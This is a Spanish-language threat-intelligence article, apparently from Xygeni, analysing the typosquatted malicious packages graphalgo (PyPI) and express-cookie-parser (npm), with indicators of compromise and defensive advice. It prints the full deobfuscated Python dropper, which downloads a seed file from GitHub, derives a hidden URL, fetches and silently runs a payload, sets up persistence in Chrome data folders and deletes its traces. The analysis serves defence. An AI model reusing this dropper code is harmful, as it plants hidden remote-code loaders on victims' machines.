Xygeni observó recientemente un patrón preocupante en el panorama de los ataques a la cadena de suministro de software en 2025, que surge a través de dos administradores de paquetes populares: PyPI npmComo parte de nuestros continuos esfuerzos de inteligencia de amenazas,Alerta temprana de malware (MEW) de Xygeni La herramienta identificó una instancia distinta, pero metodológicamente similar, de un paquete malicioso cargado previamente en otro registro. Este caso destaca cómo los actores de amenazas están evolucionando y reutilizando técnicas de ataque en diferentes ecosistemas, especialmente a través de paquetes maliciosos de Python paquetes npm maliciosos, lo que aumenta el riesgo de que paquetes maliciosos se infiltren en las cadenas de suministro de código abierto.
MEW de Xygeni: Descubriendo las similitudes
La herramienta MEW de Xygeni está diseñada para detectar y marcar paquetes maliciosos, especialmente aquellos vinculados a ataques a la cadena de suministro de software en 2025, tan pronto como se publiquen en registros de código abierto. Funciona analizando nuevos paquetes para detectar comportamientos sospechosos.
En este caso, identificó dos paquetes maliciosos de Python (graphalgo en PyPI) y paquetes npm maliciosos (express-cookie-parser en npm).
Paquetes maliciosos de Python y npm en ataques a la cadena de suministro de software (2025)
Exploremos las características compartidas que activaron nuestras alertas:
Typosquatting
Ambos intentaron imitar paquetes populares existentes.
- Graphalgo (PyPI)"Paquete de Python para crear y manipular gráficos y redes."Subido por un usuario llamado “larrytech” el 13 de junio de 2025, este paquete se presentó como una alternativa de PyPi al proyecto graphalgo original no malicioso, que luego pasó a llamarse graphdict.
- Analizador de cookies express (npm):Este paquete imitó al conocido paquete analizador de cookies, incluso reflejando su README.md. Este tipo de suplantación es una táctica clásica para aprovechar la confianza existente.
La ofuscación como primera línea de defensa
Ambos paquetes ofuscaron su código malicioso dentro de los archivos originales. Para graphalgo, el código ofuscado se encontró dentro /utils/load_libraries.py. En el caso de los analizador de cookies express, cookie-loader.min.js contenía la carga útil ofuscada.
Esta capa inicial de ofuscación se utiliza habitualmente para dificultar la inspección casual y el análisis estático. La ofuscación fue bastante simple: compresión repetida de ZLib y codificación Base64. Este tipo de ofuscación indica claramente que el software intenta ocultar su comportamiento. Junto con otras pruebas, esto permitió a Xygeni MEW clasificar los paquetes como malware potencial. Durante la fase de confirmación, nuestros revisores prepararon rápidamente un script de desofuscación que reveló la etapa del dropper, obviamente malicioso.
Entrega de carga útil en múltiples etapas y un punto de origen compartido
Ambos paquetes funcionaron como “cuentagotas”, preparando el escenario para la carga útil real. Compartían una estructura externa común.dispersores " URL del archivo:https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
Este archivo semilla externo idéntico es un fuerte indicador de un agente de amenazas compartido. Curiosamente, el contenido de este archivo semilla parece estar compuesto por simples variables de entorno (p. ej., JWT_Secreto, PORT), lo que podría confundir su función real.
Resolución C2 dinámica con un DGA
Una táctica sofisticada observada en estos paquetes maliciosos es el uso de un Algoritmo de Generación de Dominio (DGA) para resolver dinámicamente el servidor de Comando y Control (C2). Esta técnica, frecuente en ataques avanzados a la cadena de suministro de software en 2025, se basa en un hash SHA256 derivado del contenido del archivo semilla, combinado con otros valores codificados. De esta forma, la infraestructura del C2 cambia con frecuencia, lo que reduce considerablemente la eficacia de las listas negras tradicionales. En este caso, la variante de npm utilizó un valor fijo de 496AAC7E como parte de su lógica DGA.
Estableciendo persistencia
Ambos atacantes buscaban establecer una presencia duradera en los sistemas afectados. Su estrategia consistía en colocar un archivo, startup.py (para PyPi) o startup.js (para npm), en directorios de datos de usuario comunes de Google Chrome en varios sistemas operativos (Windows, Linux, macOS).
Limpieza posterior a la ejecución
Para minimizar los rastros, ambos scripts maliciosos realizaron operaciones de limpieza. Esto incluyó la eliminación de sus archivos dropper iniciales (load_libraries.py, cookie-loader.min.js) y modificar archivos de paquetes legítimos (__init__.py, index.js) para eliminar las referencias a los componentes ahora eliminados.
Indicadores de compromiso en paquetes maliciosos de Python y npm
- Paquete PyPIGraphalgo (publicado por larrytech el 13 de junio de 2025)
- Paquete npm: express-cookie-parser (específicamente la versión 1.4.12)
- Acceso a la URL de semilla compartida:
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
- Nombres de archivos persistentes:
startup.py(Pitón),startup.js(JavaScript) - Rutas persistentes comunes (dependientes del sistema operativo):Dentro de los directorios de datos de usuario de Google Chrome (por ejemplo,
AppData\Local\Google\Chrome\UserData\Scripts\en Windows,~/.config/google-chrome/Scripts/en Linux, etc.).
Cómo protegerse de paquetes maliciosos en ataques a la cadena de suministro de software (2025)
Un enfoque recomendado para desarrolladores
Este incidente constituye un valioso caso de éxito en el cambiante panorama de amenazas de ataques a la cadena de suministro de software en 2025. Destaca cómo los paquetes Python y npm maliciosos pueden infiltrarse en ecosistemas confiables, a menudo evadiendo la detección hasta que es demasiado tarde. Por ello, la detección temprana, las herramientas inteligentes y la higiene proactiva del sistema son ahora partes esenciales de cualquier flujo de trabajo seguro de DevOps. Se recomienda a los desarrolladores considerar lo siguiente:
Revisión de dependencia
Si sus proyectos han incluido graphalgo or analizador de cookies expressSería prudente proceder a su eliminación.
- Para PyPI:
pip uninstall graphalgo - Para npm:
npm uninstall express-cookie-parser
Higiene del sistema
Considere realizar un análisis completo del sistema. También es recomendable revisar manualmente las rutas comunes del directorio de datos de usuario de Chrome para detectar cualquier error inesperado. startup.py or startup.js archivos.
Medidas de seguridad proactivas
- Evaluar nuevas dependencias:Establezca una rutina para evaluar exhaustivamente los paquetes nuevos antes de la integración, centrándose en aquellos de editores desconocidos.
- Integrar herramientas de seguridad:Herramientas como MEW de Xygeni, junto con otros análisis de composición de software (SCA) Las soluciones pueden proporcionar una capa crítica de defensa al identificar comportamientos sospechosos y vulnerabilidades.
- Privilegios mínimosOperar entornos de desarrollo con el principio del mínimo privilegio puede ayudar a limitar el impacto potencial de una vulneración.
- Conciencia de la red:Monitorear el tráfico de red saliente para detectar conexiones inusuales a veces puede revelar comunicaciones C2 generadas por DGA.
Componentes clave de load_libraries.py (de graphalgo)
import os
import sys
import subprocess
import base64
import hashlib
import time
from urllib.request import urlopen, Request
url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU="
remove_url = base64.b64decode(url_b64).decode()
python_path = sys.executable
def download_remote_content(url, output_path):
try:
req = Request(url, headers={"User-Agent": "Mozilla/5.0"})
with urlopen(req) as response, open(output_path, "wb") as out_file:
if response.status != 200:
print(f"Failed to download the file. Status code: {response.status}")
return False
data = response.read()
out_file.write(data)
return True
except Exception as e:
print(f"Download failed: {e}")
return False
def run_process(path_to_script, params=[]):
if sys.platform.startswith("win"):
creationflags = subprocess.CREATE_NO_WINDOW
subprocess.Popen(
[sys.executable, path_to_script, *params],
creationflags=creationflags,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL
)
else:
subprocess.Popen(
[sys.executable, path_to_script, *params],
start_new_session=True,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
close_fds=True
)
def get_output_file_path():
py_file_path = None
home_dir = os.path.expanduser("~")
platform = os.sys.platform
if platform.startswith("win"):
py_file_path = os.path.join(home_dir, "AppData", "Local", "Google", "Chrome", "User Data")
elif platform.startswith("linux"):
py_file_path = os.path.join(home_dir, ".config", "google-chrome")
elif platform == "darwin":
py_file_path = os.path.join(home_dir, "Library", "Application Support", "Google", "Chrome")
if not os.path.exists(py_file_path):
if platform.startswith("win"):
py_file_path = os.path.join(home_dir, "AppData", "Local")
elif platform.startswith("linux"):
py_file_path = os.path.join(home_dir, ".config")
elif platform == "darwin":
py_file_path = os.path.join(home_dir, "Library", "Application Support")
# Ensure base directory exists
os.makedirs(py_file_path, exist_ok=True)
script_path = os.path.join(py_file_path, "Scripts")
os.makedirs(script_path, exist_ok=True)
py_file_path = os.path.join(script_path, "startup.py")
return py_file_path
def remove_self():
# Remove this script file
os.remove(__file__)
# Remove \'graph_settings.py\' in the same directory
graph_settings_path = os.path.join(os.path.dirname(__file__), "graph_settings.py")
if os.path.exists(graph_settings_path):
os.remove(graph_settings_path)
# Modify \'../classes/digraph.py\' if it exists
graph_file_path = os.path.join(os.path.dirname(__file__), "..", "classes", "digraph.py")
graph_file_path = os.path.abspath(graph_file_path) # Normalize path
init_file_path = os.path.join(os.path.dirname(__file__), "__init__.py")
init_file_path = os.path.abspath(init_file_path) # Normalize path
# replace content of the __init__.py file
if os.path.exists(init_file_path):
with open(init_file_path, \'r\', encoding=\'utf-8\') as file:
file_content = file.read()
updated_content = file_content \\
.replace("from networkx.utils.graph_settings import *", "") \\
.replace("from networkx.utils.load_libraries import *", "")
with open(init_file_path, \'w\', encoding=\'utf-8\') as file:
file.write(updated_content)
# replace content of the __init__.py file
if os.path.exists(graph_file_path):
with open(graph_file_path, \'r\', encoding=\'utf-8\') as file:
file_content = file.read()
updated_content = file_content \\
.replace("nx.utils.graph_settings.init_graph(self.graph, attr)", "") \\
with open(graph_file_path, \'w\', encoding=\'utf-8\') as file:
file.write(updated_content)
def simple_shift_encrypt(text, password):
key = int(hashlib.sha256(password).hexdigest(), 16)
encrypted_bytes = bytes([(ord(char) + (key % 256)) % 256 for char in text])
return base64.encode(encrypted_bytes).decode()
def simple_shift_decrypt(encoded_text, password):
key = int(hashlib.sha256(password).hexdigest(), 16)
encrypted_bytes = base64.b64decode(encoded_text)
decrypted = \'\'.join([chr((b - (key % 256)) % 256) for b in encrypted_bytes])
return decrypted
def load_libraries(key):
max_retry_count = 3
output_file_path = get_output_file_path()
encoded = "6PT08PO6r6/j7+Tl8O/v7K7j7O/15K/w9eLs6eOv8/Th8vT18K7w+b/25fK9sa6ypvT58OW97e/k9ezl"
for _ in range(max_retry_count):
if not download_remote_content(remove_url, output_file_path):
time.sleep(2)
continue
download_url = ""
with open(output_file_path, "rb") as f:
file_content = f.read()
sha256_hash = hashlib.sha256()
sha256_hash.update(file_content + key.encode())
password = sha256_hash.digest()
download_url = simple_shift_decrypt(encoded, password)
if not download_url or not download_remote_content(download_url, output_file_path):
time.sleep(2)
continue
os.chmod(output_file_path, 0o755)
run_process(output_file_path)
time.sleep(1)
remove_self()
break
if __name__ == "__main__":
if len(sys.argv) >= 2:
load_libraries(sys.argv[1])
download_remote_content(): Maneja la obtención de archivos desde URL especificadas.run_process():Ejecuta scripts externos de Python de manera separada, suprimiendo la salida para permanecer discreto.get_output_file_path():Determina la ubicación ideal del sistema para el archivo startup.py persistente.remove_self():Orquesta la limpieza posterior a la ejecución de los archivos maliciosos iniciales y las modificaciones de paquetes.simple_shift_encrypt()/simple_shift_decrypt():Funciones criptográficas personalizadas para ocultar canales de comunicación, cruciales para la implementación de DGA.load_libraries():La función central que coordina todo el proceso de múltiples etapas, desde la descarga inicial hasta la ejecución y limpieza final de la carga útil.
Secuelas
Al igual que con otros paquetes potencialmente maliciosos identificados por MEW, el firewall de dependencias protegió inmediatamente a los usuarios que los incluyeran en sus dependencias. Tras la confirmación, seguimos los procedimientos de notificación para ambos registros, que, tras su revisión, eliminaron ambos paquetes.





